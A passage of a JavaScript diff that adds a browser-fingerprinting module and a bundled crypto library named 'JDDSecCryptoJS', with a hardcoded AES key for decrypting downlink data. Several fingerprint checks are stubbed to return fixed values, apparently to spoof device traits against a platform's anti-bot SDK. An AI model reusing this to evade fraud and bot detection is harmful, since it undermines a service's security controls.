(!this.options.excludeWebGL && this.isCanvasSupported()) { + var b = this.getWebglFp(); + _jdfp_webgl_md5 = t(b); + a.push(b); + y = y + ",'webglFp':'" + _jdfp_webgl_md5 + "'" + } + return a + }, + pluginsKey: function (a) { + this.isIE() ? (a.push(this.getIEPluginsString()), y = y + ",'plugins':'" + t(this.getIEPluginsString()) + + "'") : (a.push(this.getRegularPluginsString()), y = y + ",'plugins':'" + t(this.getRegularPluginsString()) + + "'"); + return a + }, + getRegularPluginsString: function () { + return this.map(navigator.plugins, function (a) { + var b = this.map(a, function (c) { + return [c.type, c.suffixes].join("~") + }).join(","); + return [a.name, a.description, b].join("::") + }, this).join(";") + }, + getIEPluginsString: function () { + return window.ActiveXObject ? this.map( + "AcroPDF.PDF;Adodb.Stream;AgControl.AgControl;DevalVRXCtrl.DevalVRXCtrl.1;MacromediaFlashPaper.MacromediaFlashPaper;Msxml2.DOMDocument;Msxml2.XMLHTTP;PDF.PdfCtrl;QuickTime.QuickTime;QuickTimeCheckObject.QuickTimeCheck.1;RealPlayer;RealPlayer.RealPlayer(tm) ActiveX Control (32-bit);RealVideo.RealVideo(tm) ActiveX Control (32-bit);Scripting.Dictionary;SWCtl.SWCtl;Shell.UIHelper;ShockwaveFlash.ShockwaveFlash;Skype.Detection;TDCCtl.TDCCtl;WMPlayer.OCX;rmocx.RealPlayer G2 Control;rmocx.RealPlayer G2 Control.1" + .split(";"), + function (a) { + try { + return new ActiveXObject(a), a + } catch (b) { + return null + } + }).join(";") : "" + }, + hasSessionStorage: function () { + try { + return !!window.sessionStorage + } catch (a) { + return !0 + } + }, + hasLocalStorage: function () { + try { + return !!window.localStorage + } catch (a) { + return !0 + } + }, + hasIndexedDB: function () { + return true + return !!window.indexedDB + }, + getNavigatorCpuClass: function () { + return navigator.cpuClass ? navigator.cpuClass : "NA" + }, + getNavigatorPlatform: function () { + return navigator.platform ? navigator.platform : "NA" + }, + getHardwareConcurrency: function () { + return navigator.hardwareConcurrency ? navigator.hardwareConcurrency : "NA" + }, + getDoNotTrack: function () { + return navigator.doNotTrack ? navigator.doNotTrack : "NA" + }, + getCanvasFp: function () { + return ''; + var a = navigator.userAgent.toLowerCase(); + if ((0 < a.indexOf("jdjr-app") || 0 <= a.indexOf("jdapp")) && (0 < a.indexOf("iphone") || 0 < a + .indexOf("ipad"))) return null; + a = document.createElement("canvas"); + var b = a.getContext("2d"); + b.fillStyle = "red"; + b.fillRect(30, 10, 200, 100); + b.strokeStyle = "#1a3bc1"; + b.lineWidth = 6; + b.lineCap = "round"; + b.arc(50, 50, 20, 0, Math.PI, !1); + b.stroke(); + b.fillStyle = "#42e1a2"; + b.font = "15.4px 'Arial'"; + b.textBaseline = "alphabetic"; + b.fillText("PR flacks quiz gym: TV DJ box when? \u2620", 15, 60); + b.shadowOffsetX = 1; + b.shadowOffsetY = 2; + b.shadowColor = "white"; + b.fillStyle = "rgba(0, 0, 200, 0.5)"; + b.font = "60px 'Not a real font'"; + b.fillText("No\u9a97", 40, 80); + return a.toDataURL() + }, + getWebglFp: function () { + var a = navigator.userAgent; + a = a.toLowerCase(); + if ((0 < a.indexOf("jdjr-app") || 0 <= a.indexOf("jdapp")) && (0 < a.indexOf("iphone") || 0 < a + .indexOf("ipad"))) return null; + a = function (D) { + b.clearColor(0, 0, 0, 1); + b.enable(b.DEPTH_TEST); + b.depthFunc(b.LEQUAL); + b.clear(b.COLOR_BUFFER_BIT | b.DEPTH_BUFFER_BIT); + return "[" + D[0] + ", " + D[1] + "]" + }; + var b = this.getWebglCanvas(); + if (!b) return null; + var c = [], + l = b.createBuffer(); + b.bindBuffer(b.ARRAY_BUFFER, l); + var h = new Float32Array([-.2, -.9, 0, .4, -.26, 0, 0, .732134444, 0]); + b.bufferData(b.ARRAY_BUFFER, h, b.STATIC_DRAW); + l.itemSize = 3; + l.numItems = 3; + h = b.createProgram(); + var q = b.createShader(b.VERTEX_SHADER); + b.shaderSource(q, + "attribute vec2 attrVertex;varying vec2 varyinTexCoordinate;uniform vec2 uniformOffset;void main(){varyinTexCoordinate=attrVertex+uniformOffset;gl_Position=vec4(attrVertex,0,1);}" + ); + b.compileShader(q); + var z = b.createShader(b.FRAGMENT_SHADER); + b.shaderSource(z, + "precision mediump float;varying vec2 varyinTexCoordinate;void main() {gl_FragColor=vec4(varyinTexCoordinate,0,1);}" + ); + b.compileShader(z); + b.attachShader(h, q); + b.attachShader(h, z); + b.linkProgram(h); + b.useProgram(h); + h.vertexPosAttrib = b.getAttribLocation(h, "attrVertex"); + h.offsetUniform = b.getUniformLocation(h, "uniformOffset"); + b.enableVertexAttribArray(h.vertexPosArray); + b.vertexAttribPointer(h.vertexPosAttrib, l.itemSize, b.FLOAT, !1, 0, 0); + b.uniform2f(h.offsetUniform, 1, 1); + b.drawArrays(b.TRIANGLE_STRIP, 0, l.numItems); + null != b.canvas && c.push(b.canvas.toDataURL()); + c.push("extensions:" + b.getSupportedExtensions().join(";")); + c.push("extensions:" + b.getSupportedExtensions().join(";")); + c.push("w1" + a(b.getParameter(b.ALIASED_LINE_WIDTH_RANGE))); + c.push("w2" + a(b.getParameter(b.ALIASED_POINT_SIZE_RANGE))); + c.push("w3" + b.getParameter(b.ALPHA_BITS)); + c.push("w4" + (b.getContextAttributes().antialias ? "yes" : "no")); + c.push("w5" + b.getParameter(b.BLUE_BITS)); + c.push("w6" + b.getParameter(b.DEPTH_BITS)); + c.push("w7" + b.getParameter(b.GREEN_BITS)); + c.push("w8" + function (D) { + var B, F = D.getExtension("EXT_texture_filter_anisotropic") || D.getExtension( + "WEBKIT_EXT_texture_filter_anisotropic") || D.getExtension( + "MOZ_EXT_texture_filter_anisotropic"); + return F ? (B = D.getParameter(F.MAX_TEXTURE_MAX_ANISOTROPY_EXT), 0 === B && (B = 2), + B) : null + }(b)); + c.push("w9" + b.getParameter(b.MAX_COMBINED_TEXTURE_IMAGE_UNITS)); + c.push("w10" + b.getParameter(b.MAX_CUBE_MAP_TEXTURE_SIZE)); + c.push("w11" + b.getParameter(b.MAX_FRAGMENT_UNIFORM_VECTORS)); + c.push("w12" + b.getParameter(b.MAX_RENDERBUFFER_SIZE)); + c.push("w13" + b.getParameter(b.MAX_TEXTURE_IMAGE_UNITS)); + c.push("w14" + b.getParameter(b.MAX_TEXTURE_SIZE)); + c.push("w15" + b.getParameter(b.MAX_VARYING_VECTORS)); + c.push("w16" + b.getParameter(b.MAX_VERTEX_ATTRIBS)); + c.push("w17" + b.getParameter(b.MAX_VERTEX_TEXTURE_IMAGE_UNITS)); + c.push("w18" + b.getParameter(b.MAX_VERTEX_UNIFORM_VECTORS)); + c.push("w19" + a(b.getParameter(b.MAX_VIEWPORT_DIMS))); + c.push("w20" + b.getParameter(b.RED_BITS)); + c.push("w21" + b.getParameter(b.RENDERER)); + c.push("w22" + b.getParameter(b.SHADING_LANGUAGE_VERSION)); + c.push("w23" + b.getParameter(b.STENCIL_BITS)); + c.push("w24" + b.getParameter(b.VENDOR)); + c.push("w25" + b.getParameter(b.VERSION)); + try { + var C = b.getExtension("WEBGL_debug_renderer_info"); + C && (c.push("wuv:" + b.getParameter(C.UNMASKED_VENDOR_WEBGL)), c.push("wur:" + b.getParameter( + C.UNMASKED_RENDERER_WEBGL))) + } catch (D) { } + return c.join("\u00a7") + }, + isCanvasSupported: function () { + return true; + var a = document.createElement("canvas"); + return !(!a.getContext || !a.getContext("2d")) + }, + isIE: function () { + return "Microsoft Internet Explorer" === navigator.appName || "Netscape" === navigator.appName && + /Trident/.test(navigator.userAgent) ? !0 : !1 + }, + getWebglCanvas: function () { + return null; + var a = document.createElement("canvas"), + b = null; + try { + var c = navigator.userAgent; + c = c.toLowerCase(); + (0 < c.indexOf("jdjr-app") || 0 <= c.indexOf("jdapp")) && (0 < c.indexOf("iphone") || 0 < c + .indexOf("ipad")) || (b = a.getContext("webgl") || a.getContext("experimental-webgl")) + } catch (l) { } + b || (b = null); + return b + }, + each: function (a, b, c) { + if (null !== a) + if (this.nativeForEach && a.forEach === this.nativeForEach) a.forEach(b, c); + else if (a.length === +a.length) + for (var l = 0, h = a.length; l < h && b.call(c, a[l], l, a) !== {}; l++); + else + for (l in a) + if (a.hasOwnProperty(l) && b.call(c, a[l], l, a) === {}) break + }, + map: function (a, b, c) { + var l = []; + if (null == a) return l; + if (this.nativeMap && a.map === this.nativeMap) return a.map(b, c); + this.each(a, function (h, q, z) { + l[l.length] = b.call(c, h, q, z) + }); + return l + }, + x64Add: function (a, b) { + a = [a[0] >>> 16, a[0] & 65535, a[1] >>> 16, a[1] & 65535]; + b = [b[0] >>> 16, b[0] & 65535, b[1] >>> 16, b[1] & 65535]; + var c = [0, 0, 0, 0]; + c[3] += a[3] + b[3]; + c[2] += c[3] >>> 16; + c[3] &= 65535; + c[2] += a[2] + b[2]; + c[1] += c[2] >>> 16; + c[2] &= 65535; + c[1] += a[1] + b[1]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[0] += a[0] + b[0]; + c[0] &= 65535; + return [c[0] << 16 | c[1], c[2] << 16 | c[3]] + }, + x64Multiply: function (a, b) { + a = [a[0] >>> 16, a[0] & 65535, a[1] >>> 16, a[1] & 65535]; + b = [b[0] >>> 16, b[0] & 65535, b[1] >>> 16, b[1] & 65535]; + var c = [0, 0, 0, 0]; + c[3] += a[3] * b[3]; + c[2] += c[3] >>> 16; + c[3] &= 65535; + c[2] += a[2] * b[3]; + c[1] += c[2] >>> 16; + c[2] &= 65535; + c[2] += a[3] * b[2]; + c[1] += c[2] >>> 16; + c[2] &= 65535; + c[1] += a[1] * b[3]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[1] += a[2] * b[2]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[1] += a[3] * b[1]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[0] += a[0] * b[3] + a[1] * b[2] + a[2] * b[1] + a[3] * b[0]; + c[0] &= 65535; + return [c[0] << 16 | c[1], c[2] << 16 | c[3]] + }, + x64Rotl: function (a, b) { + b %= 64; + if (32 === b) return [a[1], a[0]]; + if (32 > b) return [a[0] << b | a[1] >>> 32 - b, a[1] << b | a[0] >>> 32 - b]; + b -= 32; + return [a[1] << b | a[0] >>> 32 - b, a[0] << b | a[1] >>> 32 - b] + }, + x64LeftShift: function (a, b) { + b %= 64; + return 0 === b ? a : 32 > b ? [a[0] << b | a[1] >>> 32 - b, a[1] << b] : [a[1] << b - 32, 0] + }, + x64Xor: function (a, b) { + return [a[0] ^ b[0], a[1] ^ b[1]] + }, + x64Fmix: function (a) { + a = this.x64Xor(a, [0, a[0] >>> 1]); + a = this.x64Multiply(a, [4283543511, 3981806797]); + a = this.x64Xor(a, [0, a[0] >>> 1]); + a = this.x64Multiply(a, [3301882366, 444984403]); + return a = this.x64Xor(a, [0, a[0] >>> 1]) + }, + x64hash128: function (a, b) { + a = a || ""; + b = b || 0; + var c = a.length % 16, + l = a.length - c, + h = [0, b]; + b = [0, b]; + for (var q, z, C = [2277735313, 289559509], D = [1291169091, 658871167], B = 0; B < l; B += 16) + q = [a.charCodeAt(B + 4) & 255 | (a.charCodeAt(B + 5) & 255) << 8 | (a.charCodeAt(B + 6) & + 255) << 16 | (a.charCodeAt(B + 7) & 255) << 24, a.charCodeAt(B) & 255 | (a.charCodeAt( + B + 1) & 255) << 8 | (a.charCodeAt(B + 2) & 255) << 16 | (a.charCodeAt(B + 3) & 255) << + 24], z = [a.charCodeAt(B + 12) & 255 | (a.charCodeAt(B + 13) & 255) << 8 | (a.charCodeAt( + B + 14) & 255) << 16 | (a.charCodeAt(B + 15) & 255) << 24, a.charCodeAt(B + 8) & + 255 | (a.charCodeAt(B + 9) & 255) << 8 | (a.charCodeAt(B + 10) & 255) << 16 | (a.charCodeAt( + B + 11) & 255) << 24], q = this.x64Multiply(q, C), q = this.x64Rotl(q, 31), q = + this.x64Multiply(q, D), h = this.x64Xor(h, q), h = this.x64Rotl(h, 27), h = this.x64Add(h, + b), h = this.x64Add(this.x64Multiply(h, [0, 5]), [0, 1390208809]), z = this.x64Multiply( + z, D), z = this.x64Rotl(z, 33), z = this.x64Multiply(z, C), b = this.x64Xor(b, z), b = + this.x64Rotl(b, 31), b = this.x64Add(b, h), b = this.x64Add(this.x64Multiply(b, [0, 5]), [0, + 944331445]); + q = [0, 0]; + z = [0, 0]; + switch (c) { + case 15: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 14)], 48)); + case 14: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 13)], 40)); + case 13: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 12)], 32)); + case 12: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 11)], 24)); + case 11: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 10)], 16)); + case 10: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 9)], 8)); + case 9: + z = this.x64Xor(z, [0, a.charCodeAt(B + 8)]), z = this.x64Multiply(z, D), z = this.x64Rotl( + z, 33), z = this.x64Multiply(z, C), b = this.x64Xor(b, z); + case 8: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 7)], 56)); + case 7: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 6)], 48)); + case 6: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 5)], 40)); + case 5: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 4)], 32)); + case 4: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 3)], 24)); + case 3: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 2)], 16)); + case 2: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 1)], 8)); + case 1: + q = this.x64Xor(q, [0, a.charCodeAt(B)]), q = this.x64Multiply(q, C), q = this.x64Rotl( + q, 31), q = this.x64Multiply(q, D), h = this.x64Xor(h, q) + } + h = this.x64Xor(h, [0, a.length]); + b = this.x64Xor(b, [0, a.length]); + h = this.x64Add(h, b); + b = this.x64Add(b, h); + h = this.x64Fmix(h); + b = this.x64Fmix(b); + h = this.x64Add(h, b); + b = this.x64Add(b, h); + return ("00000000" + (h[0] >>> 0).toString(16)).slice(-8) + ("00000000" + (h[1] >>> 0).toString( + 16)).slice(-8) + ("00000000" + (b[0] >>> 0).toString(16)).slice(-8) + ("00000000" + (b[ + 1] >>> 0).toString(16)).slice(-8) + } + }; +} + +var JDDSecCryptoJS = JDDSecCryptoJS || function (t, u) { +var v = {}, + x = v.lib = {}, + w = x.Base = function () { + function g() {} + return { + extend: function (m) { + g.prototype = this; + var a = new g; + m && a.mixIn(m); + a.hasOwnProperty("init") || (a.init = function () { + a.$super.init.apply(this, arguments) + }); + a.init.prototype = a; + a.$super = this; + return a + }, + create: function () { + var m = this.extend(); + m.init.apply(m, arguments); + return m + }, + init: function () {}, + mixIn: function (m) { + for (var a in m) m.hasOwnProperty(a) && (this[a] = m[a]); + m.hasOwnProperty("toString") && (this.toString = m.toString) + }, + clone: function () { + return this.init.prototype.extend(this) + } + } + }(), + A = x.WordArray = w.extend({ + init: function (g, m) { + g = this.words = g || []; + this.sigBytes = m != u ? m : 4 * g.length + }, + toString: function (g) { + return (g || n).stringify(this) + }, + concat: function (g) { + var m = this.words, + a = g.words, + b = this.sigBytes; + g = g.sigBytes; + this.clamp(); + if (b % 4) + for (var c = 0; c < g; c++) m[b + c >>> 2] |= (a[c >>> 2] >>> 24 - c % 4 * 8 & 255) << + 24 - (b + c) % 4 * 8; + else if (65535 < a.length) + for (c = 0; c < g; c += 4) m[b + c >>> 2] = a[c >>> 2]; + else m.push.apply(m, a); + this.sigBytes += g; + return this + }, + clamp: function () { + var g = this.words, + m = this.sigBytes; + g[m >>> 2] &= 4294967295 << 32 - m % 4 * 8; + g.length = t.ceil(m / 4) + }, + clone: function () { + var g = w.clone.call(this); + g.words = this.words.slice(0); + return g + }, + random: function (g) { + for (var m = [], a = 0; a < g; a += 4) m.push(4294967296 * t.random() | 0); + return new A.init(m, g) + } + }); +x.UUID = w.extend({ + generateUuid: function () { + for (var g = "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".split(""), m = 0, a = g.length; m < a; m++) + switch (g[m]) { + case "x": + g[m] = t.floor(16 * t.random()).toString(16); + break; + case "y": + g[m] = (t.floor(4 * t.random()) + 8).toString(16) + } + return g.join("") + } +}); +var y = v.enc = {}, + n = y.Hex = { + stringify: function (g) { + var m = g.words; + g = g.sigBytes; + var a = []; + for (var b = 0; b < g; b++) { + var c = m[b >>> 2] >>> 24 - b % 4 * 8 & 255; + a.push((c >>> 4).toString(16)); + a.push((c & 15).toString(16)) + } + return a.join("") + }, + parse: function (g) { + for (var m = g.length, a = [], b = 0; b < m; b += 2) a[b >>> 3] |= parseInt(g.substr(b, 2), 16) << + 24 - b % 8 * 4; + return new A.init(a, m / 2) + } + }, + e = y.Latin1 = { + stringify: function (g) { + var m = g.words; + g = g.sigBytes; + for (var a = [], b = 0; b < g; b++) a.push(String.fromCharCode(m[b >>> 2] >>> 24 - b % 4 * 8 & + 255)); + return a.join("") + }, + parse: function (g) { + for (var m = g.length, a = [], b = 0; b < m; b++) a[b >>> 2] |= (g.charCodeAt(b) & 255) << 24 - + b % 4 * 8; + return new A.init(a, m) + } + }, + f = y.Utf8 = { + stringify: function (g) { + try { + return decodeURIComponent(escape(e.stringify(g))) + } catch (m) { + throw Error("Malformed UTF-8 data"); + } + }, + parse: function (g) { + return e.parse(unescape(encodeURIComponent(g))) + } + }, + r = x.BufferedBlockAlgorithm = w.extend({ + reset: function () { + this._data = new A.init; + this._nDataBytes = 0 + }, + _append: function (g) { + "string" == typeof g && (g = f.parse(g)); + this._data.concat(g); + this._nDataBytes += g.sigBytes + }, + _process: function (g) { + var m = this._data, + a = m.words, + b = m.sigBytes, + c = this.blockSize, + l = b / (4 * c); + l = g ? t.ceil(l) : t.max((l | 0) - this._minBufferSize, 0); + g = l * c; + b = t.min(4 * g, b); + if (g) { + for (var h = 0; h < g; h += c) this._doProcessBlock(a, h); + h = a.splice(0, g); + m.sigBytes -= b + } + return new A.init(h, b) + }, + clone: function () { + var g = w.clone.call(this); + g._data = this._data.clone(); + return g + }, + _minBufferSize: 0 + }); +x.Hasher = r.extend({ + cfg: w.extend(), + init: function (g) { + this.cfg = this.cfg.extend(g); + this.reset() + }, + reset: function () { + r.reset.call(this); + this._doReset() + }, + update: function (g) { + this._append(g); + this._process(); + return this + }, + finalize: function (g) { + g && this._append(g); + return this._doFinalize() + }, + blockSize: 16, + _createHelper: function (g) { + return function (m, a) { + return (new g.init(a)).finalize(m) + } + }, + _createHmacHelper: function (g) { + return function (m, a) { + return (new k.HMAC.init(g, a)).finalize(m) + } + } +}); +var k = v.algo = {}; +v.channel = {}; +return v +}(Math); + +JDDSecCryptoJS.lib.Cipher || function (t) { +var u = JDDSecCryptoJS, + v = u.lib, + x = v.Base, + w = v.WordArray, + A = v.BufferedBlockAlgorithm, + y = v.Cipher = A.extend({ + cfg: x.extend(), + createEncryptor: function (g, m) { + return this.create(this._ENC_XFORM_MODE, g, m) + }, + createDecryptor: function (g, m) { + return this.create(this._DEC_XFORM_MODE, g, m) + }, + init: function (g, m, a) { + this.cfg = this.cfg.extend(a); + this._xformMode = g; + this._key = m; + this.reset() + }, + reset: function () { + A.reset.call(this); + this._doReset() + }, + process: function (g) { + this._append(g); + return this._process() + }, + finalize: function (g) { + g && this._append(g); + return this._doFinalize() + }, + keySize: 4, + ivSize: 4, + _ENC_XFORM_MODE: 1, + _DEC_XFORM_MODE: 2, + _createHelper: function () { + function g(m) { + if ("string" != typeof m) return k + } + return function (m) { + return { + encrypt: function (a, b, c) { + return g(b).encrypt(m, a, b, c) + }, + decrypt: function (a, b, c) { + return g(b).decrypt(m, a, b, c) + } + } + } + }() + }); +v.StreamCipher = y.extend({ + _doFinalize: function () { + return this._process(!0) + }, + blockSize: 1 +}); +var n = u.mode = {}, + e = v.BlockCipherMode = x.extend({ + createEncryptor: function (g, m) { + return this.Encryptor.create(g, m) + }, + createDecryptor: function (g, m) { + return this.Decryptor.create(g, m) + }, + init: function (g, m) { + this._cipher = g; + this._iv = m + } + }); +n = n.CBC = function () { + function g(a, b, c) { + var l = this._iv; + l ? this._iv = t : l = this._prevBlock; + for (var h = 0; h < c; h++) a[b + h] ^= l[h] + } + var m = e.extend(); + m.Encryptor = m.extend({ + processBlock: function (a, b) { + var c = this._cipher, + l = c.blockSize; + g.call(this, a, b, l); + c.encryptBlock(a, b); + this._prevBlock = a.slice(b, b + l) + } + }); + m.Decryptor = m.extend({ + processBlock: function (a, b) { + var c = this._cipher, + l = c.blockSize, + h = a.slice(b, b + l); + c.decryptBlock(a, b); + g.call(this, a, b, l); + this._prevBlock = h + } + }); + return m +}(); +var f = (u.pad = {}).Pkcs7 = { + pad: function (g, m) { + m *= 4; + m -= g.sigBytes % m; + for (var a = m << 24 | m << 16 | m << 8 | m, b = [], c = 0; c < m; c += 4) b.push(a); + m = w.create(b, m); + g.concat(m) + }, + unpad: function (g) { + g.sigBytes -= g.words[g.sigBytes - 1 >>> 2] & 255 + } +}; +v.BlockCipher = y.extend({ + cfg: y.cfg.extend({ + mode: n, + padding: f + }), + reset: function () { + y.reset.call(this); + var g = this.cfg, + m = g.iv; + g = g.mode; + if (this._xformMode == this._ENC_XFORM_MODE) var a = g.createEncryptor; + else a = g.createDecryptor, this._minBufferSize = 1; + this._mode = a.call(g, this, m && m.words) + }, + _doProcessBlock: function (g, m) { + this._mode.processBlock(g, m) + }, + _doFinalize: function () { + var g = this.cfg.padding; + if (this._xformMode == this._ENC_XFORM_MODE) { + g.pad(this._data, this.blockSize); + var m = this._process(!0) + } else m = this._process(!0), g.unpad(m); + return m + }, + blockSize: 4 +}); +var r = v.CipherParams = x.extend({ + init: function (g) { + this.mixIn(g) + }, + toString: function (g) { + return (g || this.formatter).stringify(this) + } +}); +u.format = {}; +var k = v.SerializableCipher = x.extend({ + cfg: x.extend({}), + encrypt: function (g, m, a, b) { + b = this.cfg.extend(b); + var c = g.createEncryptor(a, b); + m = c.finalize(m); + c = c.cfg; + return r.create({ + ciphertext: m, + key: a, + iv: c.iv, + algorithm: g, + mode: c.mode, + padding: c.padding, + blockSize: g.blockSize, + formatter: b.format + }) + }, + decrypt: function (g, m, a, b) { + b = this.cfg.extend(b); + m = this._parse(m, b.format); + return g.createDecryptor(a, b).finalize(m.ciphertext) + }, + _parse: function (g, m) { + return "string" == typeof g ? m.parse(g, this) : g + } +}) +}(); +(function () { +var t = JDDSecCryptoJS, + u = t.lib.BlockCipher, + v = t.algo, + x = [], + w = [], + A = [], + y = [], + n = [], + e = [], + f = [], + r = [], + k = [], + g = []; +(function () { + for (var a = [], b = 0; 256 > b; b++) a[b] = 128 > b ? b << 1 : b << 1 ^ 283; + var c = 0, + l = 0; + for (b = 0; 256 > b; b++) { + var h = l ^ l << 1 ^ l << 2 ^ l << 3 ^ l << 4; + h = h >>> 8 ^ h & 255 ^ 99; + x[c] = h; + w[h] = c; + var q = a[c], + z = a[q], + C = a[z], + D = 257 * a[h] ^ 16843008 * h; + A[c] = D << 24 | D >>> 8; + y[c] = D << 16 | D >>> 16; + n[c] = D << 8 | D >>> 24; + e[c] = D; + D = 16843009 * C ^ 65537 * z ^ 257 * q ^ 16843008 * c; + f[h] = D << 24 | D >>> 8; + r[h] = D << 16 | D >>> 16; + k[h] = D << 8 | D >>> 24; + g[h] = D; + c ? (c = q ^ a[a[a[C ^ q]]], l ^= a[a[l]]) : c = l = 1 + } +})(); +var m = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54]; +v = v.AES = u.extend({ + _doReset: function () { + var a = this._key, + b = a.words, + c = a.sigBytes / 4; + a = 4 * ((this._nRounds = c + 6) + 1); + for (var l = this._keySchedule = [], h = 0; h < a; h++) + if (h < c) l[h] = b[h]; + else { + var q = l[h - 1]; + h % c ? 6 < c && 4 == h % c && (q = x[q >>> 24] << 24 | x[q >>> 16 & 255] << 16 | x[ + q >>> 8 & 255] << 8 | x[q & 255]) : (q = q << 8 | q >>> 24, q = x[q >>> 24] << + 24 | x[q >>> 16 & 255] << 16 | x[q >>> 8 & 255] << 8 | x[q & 255], q ^= m[h / + c | 0] << 24); + l[h] = l[h - c] ^ q + } b = this._invKeySchedule = []; + for (c = 0; c < a; c++) h = a - c, q = c % 4 ? l[h] : l[h - 4], b[c] = 4 > c || 4 >= h ? q : + f[x[q >>> 24]] ^ r[x[q >>> 16 & 255]] ^ k[x[q >>> 8 & 255]] ^ g[x[q & 255]] + }, + encryptBlock: function (a, b) { + this._doCryptBlock(a, b, this._keySchedule, A, y, n, e, x) + }, + decryptBlock: function (a, b) { + var c = a[b + 1]; + a[b + 1] = a[b + 3]; + a[b + 3] = c; + this._doCryptBlock(a, b, this._invKeySchedule, f, r, k, g, w); + c = a[b + 1]; + a[b + 1] = a[b + 3]; + a[b + 3] = c + }, + _doCryptBlock: function (a, b, c, l, h, q, z, C) { + for (var D = this._nRounds, B = a[b] ^ c[0], F = a[b + 1] ^ c[1], H = a[b + 2] ^ c[2], G = + a[b + 3] ^ c[3], I = 4, M = 1; M < D; M++) { + var J = l[B >>> 24] ^ h[F >>> 16 & 255] ^ q[H >>> 8 & 255] ^ z[G & 255] ^ c[I++], + K = l[F >>> 24] ^ h[H >>> 16 & 255] ^ q[G >>> 8 & 255] ^ z[B & 255] ^ c[I++], + L = l[H >>> 24] ^ h[G >>> 16 & 255] ^ q[B >>> 8 & 255] ^ z[F & 255] ^ c[I++]; + G = l[G >>> 24] ^ h[B >>> 16 & 255] ^ q[F >>> 8 & 255] ^ z[H & 255] ^ c[I++]; + B = J; + F = K; + H = L + } + J = (C[B >>> 24] << 24 | C[F >>> 16 & 255] << 16 | C[H >>> 8 & 255] << 8 | C[G & 255]) ^ c[ + I++]; + K = (C[F >>> 24] << 24 | C[H >>> 16 & 255] << 16 | C[G >>> 8 & 255] << 8 | C[B & 255]) ^ c[ + I++]; + L = (C[H >>> 24] << 24 | C[G >>> 16 & 255] << 16 | C[B >>> 8 & 255] << 8 | C[F & 255]) ^ c[ + I++]; + G = (C[G >>> 24] << 24 | C[B >>> 16 & 255] << 16 | C[F >>> 8 & 255] << 8 | C[H & 255]) ^ c[ + I++]; + a[b] = J; + a[b + 1] = K; + a[b + 2] = L; + a[b + 3] = G + }, + keySize: 8 +}); +t.AES = u._createHelper(v) +})(); + +(function () { +var t = JDDSecCryptoJS, + u = t.lib, + v = u.WordArray, + x = u.Hasher, + w = []; +u = t.algo.SHA1 = x.extend({ + _doReset: function () { + this._hash = new v.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) + }, + _doProcessBlock: function (A, y) { + for (var n = this._hash.words, e = n[0], f = n[1], r = n[2], k = n[3], g = n[4], m = 0; 80 > + m; m++) { + if (16 > m) w[m] = A[y + m] | 0; + else { + var a = w[m - 3] ^ w[m - 8] ^ w[m - 14] ^ w[m - 16]; + w[m] = a << 1 | a >>> 31 + } + a = (e << 5 | e >>> 27) + g + w[m]; + a = 20 > m ? a + ((f & r | ~f & k) + 1518500249) : 40 > m ? a + ((f ^ r ^ k) + + 1859775393) : 60 > m ? a + ((f & r | f & k | r & k) - 1894007588) : a + ((f ^ r ^ + k) - 899497514); + g = k; + k = r; + r = f << 30 | f >>> 2; + f = e; + e = a + } + n[0] = n[0] + e | 0; + n[1] = n[1] + f | 0; + n[2] = n[2] + r | 0; + n[3] = n[3] + k | 0; + n[4] = n[4] + g | 0 + }, + _doFinalize: function () { + var A = this._data, + y = A.words, + n = 8 * this._nDataBytes, + e = 8 * A.sigBytes; + y[e >>> 5] |= 128 << 24 - e % 32; + y[(e + 64 >>> 9 << 4) + 14] = Math.floor(n / 4294967296); + y[(e + 64 >>> 9 << 4) + 15] = n; + A.sigBytes = 4 * y.length; + this._process(); + return this._hash + }, + clone: function () { + var A = x.clone.call(this); + A._hash = this._hash.clone(); + return A + } +}); +t.SHA1 = x._createHelper(u); +t.HmacSHA1 = x._createHmacHelper(u) +})(); + +(function () { +var t = JDDSecCryptoJS, + u = t.channel; +u.Downlink = { + deBase32: function (v) { + if (void 0 == v || "" == v || null == v) return ""; + var x = t.enc.Hex.parse("30313233343536373839616263646566"), + w = t.enc.Hex.parse("724e5428476f307361374d3233784a6c"); + return t.AES.decrypt({ + ciphertext: t.enc.Base32.parse(v) + }, w, { + mode: t.mode.CBC, + padding: t.pad.Pkcs7, + iv: x + }).toString(t.enc.Utf8) + }, + deBase64: function (v) { + return "" + } +}; +u.Uplink = { + enAsBase32: function (v) { + return "" + }, + enAsBase64: function (v) { + return "" + } +} +})(); + +(function () { +var t = JDDSecCryptoJS, + u = t.lib.WordArray; +t.enc.Base32 = { + stringify: function (v) { + var x = v.words, + w = v.sigBytes, + A = this._map; + v.clamp(); + v = []; + for (var y = 0; y < w; y += 5) { + for (var n = [], e = 0; 5 > e; e++) n[e] = x[y + e >>> 2] >>> 24 - (y + e) % 4 * 8 & 255; + n = [n[0] >>> 3 & 31, (n[0] & 7) << 2 | n[1] >>> 6 & 3, n[1] >>> 1 & 31, (n[1] & 1) << 4 | + n[2] >>> 4 & 15, (n[2] & 15) << 1 | n[3] >>> 7 & 1, n[3] >>> 2 & 31, (n[3] & 3) << + 3 | n[4] >>> 5 & 7, n[4] & 31]; + for (e = 0; 8 > e && y + .625 * e < w; e++) v.push(A.charAt(n[e])) + } + if (x = A.charAt(32)) + for (; v.length % 8;) v.push(x); + return v.join("") + }, + parse: function (v) { + var x = v.length, + w = this._map, + A = 